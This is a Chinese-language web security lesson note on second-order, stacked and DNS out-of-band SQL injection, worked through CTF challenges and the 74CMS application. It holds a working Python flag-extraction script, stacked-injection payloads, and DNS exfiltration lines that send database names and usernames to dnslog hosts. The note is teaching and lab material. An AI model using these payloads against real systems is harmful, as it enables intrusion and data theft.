小迪安全30WEB 攻防-通用漏洞&SQL 注入&CTF&二次&堆叠&DNS 带外

#知识点:

1、数据库堆叠注入

根据数据库类型决定是否支持多条语句执行

2、数据库二次注入

应用功能逻辑涉及上导致的先写入后组合的注入

3、数据库 Dnslog 注入

解决不回显(反向连接),SQL 注入,命令执行,SSRF 等

4、黑盒模式分析以上

二次注入:插入后调用显示操作符合

堆叠注入:判断注入后直接调多条执行

DNS 注入:在注入上没太大利用价值,其他还行

#二次注入-74CMS&网鼎杯 2018Unfinish

比如:找回密码功能:

得到你的用户名(你找回谁的密码)

进入用户名绕过,网站进入找回密码的验证阶段(网站记录知道你是谁了)

接受获取你的用户名,修改密码update

但如果在注册用户名时,写了一个SQL注入的语句

则当进行修改密码时,会对用户名进行调用

即:update user set password='xiaodi' where username='SQL注入代码'

从而形成注入点

CTF-[网鼎杯 2018]Unfinish-黑盒

先进入register.php页面

通过注册完账号后,进行账号登录,此时发现我们的用户名被调用了,这时就可以估计此注入点是二次注入

分析:

注册用户:添加insert

Insert into user(email,username,password) value('3178151661245@qq.com','AT','123456')

登录:用的email和password

进入用户中心:用用户名进行显示

Select username from user where email='31781511245@qq.com'

那么此时我往username这个地方开始注册时就注入了SQL注入,那么此时显示出来的就是我SQL注入来的地方

我们这里使用.py进行制造payload

import requests

from bs4 import BeautifulSoup

import time

url = 'http://d1e19434-4122-4e6e-9aa4-7e31af7022f4.node5.buuoj.cn:81/'

m = ''

for i in range(100):

payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)

register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}

login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}

req = requests.session()

r1 = req.post(url+'register.php',data = register)

r2 = req.post(url+'login.php', data = login)

r3 = req.post(url+'index.php')

html = r3.text

soup = BeautifulSoup(html,'html.parser')

UserName = soup.span.string.strip()

if int(UserName) == 0:

break

m += chr(int(UserName))

print(m)

time.sleep(1)

CMS-74CMS 个人会员中心-黑白盒

黑盒:

对学校名称进行注入

我们并没有填入学校地址,但输入了学校的名字,然后地址就会跟着学校名字一起出来,形成二次注入

xiaodi',address=user()#

即insert address value ('xiaodi',address=user#)

白盒:

根据修改内容抓包,发现对应函数save_resuma_education_edit中的SQL查询语句

抓学校地址该网页的包,并进行查看其相关函数 make4_save

发现有SQL语句------insert:会把修改的内容插入到数据库的相关位置

对其SQL语句进行监听

#堆叠注入-数据库类型&强网杯 2019 随便注

根据数据库类型决定是否支持多条语句执行 这里与联合查询是有区别的;

如select * from news where id=1;create table xioadi like news;

支持堆叠数据库类型:MYSQL MSSQL Postgresql 等

一般的,代码上和数据库上的堆叠操作权限是不一样的,如果代码上允许堆叠,那数据库上一定可以,如果代码上不行,数据库也可以进行堆叠

过滤规则,select是被过滤的,还有一些注入常用语句也被过滤了,此时可考虑堆叠注入

参考:https://www.cnblogs.com/Timesi/p/11426348.html

';show databases;

';show tables;

';show columns from `1919810931114514`;

';select flag from `1919810931114514`;

';SeT

@a=0x73656c656374202a2066726f6d2060313931393831303933313131343531

3460;prepare execsql from @a;execute execsql;

#DNS 利用-平台介绍&SQL 注入&命令执行等

DNS注入原理:让服务器自己去访问网页的地址,通过网络的参数去让对方进行执行,并回显到DNS上

基本只针对于MYSQL------load_file

1.平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

2.应用场景:

解决不回显,反向连接,SQL 注入,命令执行,SSRF 等

SQL 注入:

select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));

and (select load_file(concat('//',(select

database()),'.69knl9.dnslog.cn/abc')))

命令执行:

ping %USERNAME%.7logee.dnslog.cn

接受的主机的username

相关推荐
点燃银河尽头的篝火(●'◡'●)14 分钟前
【BurpSuite】Cross-site scripting (XSS 学徒部分:1-9)
前端·web安全·网络安全·xss
世界尽头与你20 分钟前
企业内网安全
网络·安全·内网安全
小希与阿树2 小时前
sql执行流程经典案例分析
数据库·sql
网安laughing哥3 小时前
2024年三个月自学 网络安全(黑客技术)手册
网络·安全·web安全
iSee8573 小时前
9.9付费进群系统 wxselect SQL注入漏洞复现
安全
网络研究院3 小时前
Google 扩展 Chrome 安全和隐私功能
chrome·安全·浏览器·隐私·软件·权限·无密码
世界尽头与你3 小时前
业务安全治理
安全·网络安全
不睡懒觉的橙3 小时前
【医疗大数据】基于 B2B 的医疗保健系统中大数据信息管理的安全和隐私问题分析
大数据·安全·单例模式
世界尽头与你3 小时前
邮件安全治理
安全·网络安全